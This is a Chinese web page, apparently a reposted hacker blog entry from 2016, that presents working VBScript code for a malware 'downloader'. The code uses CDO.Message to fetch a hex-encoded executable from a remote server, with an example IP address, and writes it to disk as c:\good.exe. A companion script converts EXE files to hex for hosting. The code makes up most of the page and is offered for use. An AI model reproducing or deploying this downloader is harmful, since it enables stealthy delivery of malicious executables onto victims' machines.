最新版利用CDO.Message做的vbs下载者
来源: 阅读:1778 次 日期:2016-07-21 14:21:33
温馨提示: 小编为您整理了“最新版利用CDO.Message做的vbs下载者”,方便广大网友查阅!

vbs下载者有很多了,我这里是一个伟大的发明,利用CDO.Message做的vbs下载者。伟大是装B的意思。

NP先把代码写完了,详情看这里:http://hi.baidu.com/vbs_zone/blog/item/f254871382e6d0045aaf5358.html

LCX大哥在写他的BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。

于是研究了一会。写出个粗糙的DEMO。

exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制

================================================

代码如下:

'code by xiaolu

'change by NetPatch

on error resume next

set arg=wscript.arguments

if arg.count=0 then wscript.quit

do while 1

fname=arg(0)

err.number=0

Set Ado = CreateObject("adodb.stream")

With Ado

.Type = 1

.open

.loadfromfile fname

ss = .read

End With

if err.number<>0 then

if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit

else

exit do

end if

loop

if fname="" then Wscript.quit

Set Fso=CreateObject("Scripting.FileSystemObject")

Set File=fso.OpenTextFile(arg(0)&".htm",2, True)

File.write Bin2Str(ss)

File.close

Set fso=nothing

Ado.close

set Abo=nothing

Function Bin2Str(Re)

For i = 1 To lenB(Re)

bt = AscB(MidB(Re, i, 1))

if bt < 16 Then Bin2Str=Bin2Str&"0"

Bin2Str=Bin2Str & Hex(bt)

Next

End Function

======================================

下载者 down.vbs

=============

代码如下:

on error resume next

set arg=wscript.arguments

if arg.count=0 then wscript.quit

'code by NetPatch

'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe

Set Mail1 = CreateObject("CDO.Message")

Mail1.CreateMHTMLBody arg(0),31

ss= Mail1.HTMLBody

Set Mail1 = Nothing

Set RS=CreateObject("ADODB.Recordset")

L=Len(ss)/2

RS.Fields.Append "m",205,L

RS.Open:RS.AddNew

RS("m")=ss&ChrB(0)

RS.Update

ss=RS("m").GetChunk(L)

Set s=CreateObject("ADODB.Stream")

with s

.Mode = 3

.Type = 1

.Open()

.Write ss

.SaveToFile arg(1),2

end with

==================================

demo.htm内容时用exe2hex.vbs转EXE后获得的

使用方法:

1.exe2hex.vbs 把exe转成十六进制,放到网络上

2.down.vbs http://xxx/demo.htm c:\good.exe

由于NP写的不知什么原因,在我机器上执行后生成的exe,进程不会自动退出,我重新更新一下。

=======用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。=======

代码如下:

package file v0.1

ID="package file v0.1"

APPLICATIONNAME="package file v0.1"

VERSION="0.1"

SCROLL="no"

INNERBORDER="no"

CONTEXTMENU="yes"

CAPTION="yes"

ICON="no"

SHOWINTASKBAR="yes"

SINGLEINSTANCE="yes"

SYSMENU="yes"

MAXIMIZEBUTTON ="no"

WINDOWSTATE="normal"

NAVIGABLE="yes"

/>

请选择文件:

Baidu
map

=====================再用下面这个vbs脚本来下载,把hta生成的htm放到空间上,用NP写的那个下载生成的htm也可以,代码更少=========

代码如下:

'//保存文件

function saveFile(filename,str)

set adodbStream = CreateObject("ADODB" & "." & "Stream")

adodbStream.Type= 1

adodbStream.Open

adodbStream.write str

adodbStream.SaveToFile filename,2

adodbStream.Close

end function

'//VB数组转变成二进制格式

Function MultiByteToBinary(MultiByte)

Dim RS, LMultiByte, Binary

Const adLongVarBinary = 205

Set RS = CreateObject("ADODB.Recordset")

LMultiByte = LenB(MultiByte)

If LMultiByte>0 Then

RS.Fields.Append "mBinary", adLongVarBinary, LMultiByte

RS.Open

RS.AddNew

RS("mBinary").AppendChunk MultiByte & ChrB(0)

RS.Update

Binary = RS("mBinary").GetChunk(LMultiByte)

End If

MultiByteToBinary = Binary

End Function

function exec()

'//屏蔽错误

on error resume Next

Set args = WScript.Arguments

if args.Count = 0 then

WScript.Echo "Usage: CScript down.vbs url c:\1.exe"

WScript.Quit 1

end If

dim data,t,kk,filename,ss

Set Mail1 = CreateObject("CDO.Message")

Mail1.CreateMHTMLBody args.Item(0) ,31

'Mail1.CreateMHTMLBody "c:\xxx\lcx.exe-pf.htm",31

ss= Mail1.HTMLBody

Set Mail1=nothing

'//得到数据

data = ss

'//得到文件名

filename = args.Item(1)

'//得到数据长度

u = len(data)

'//获得文件数组

for i=1 to u step 2

t = mid(data,i,2)

kk = kk & ChrB(clng("&H" & t))

next

'//转变成二进制格式

dataArry = MultiByteToBinary(kk)

'//保存文件

saveFile filename,dataArry

end function

exec()

更多信息请查看 脚本栏目
由于各方面情况的不断调整与变化, 提供的所有考试信息和咨询回复仅供参考,敬请考生以权威部门公布的正式信息和咨询为准!
关于我们| 联系我们| 人才招聘| 网站声明| 网站帮助| 非正式的简要咨询| 简要咨询须知| 加入群交流| 手机站点| 投诉建议
工业和信息化部备案号:滇ICP备2023014141号-1 云南省教育厅备案号:云教ICP备0901021 滇公网安备53010202001879号 人力资源服务许可证:(云)人服证字(2023)第0102001523号
云南网警备案专用图标
联系电话:0871-65317125(9:00—18:00) 获取招聘考试信息及咨询关注公众号:
咨询QQ:526150442(9:00—18:00) 版权所有:
云南网警报警专用图标
Baidu
map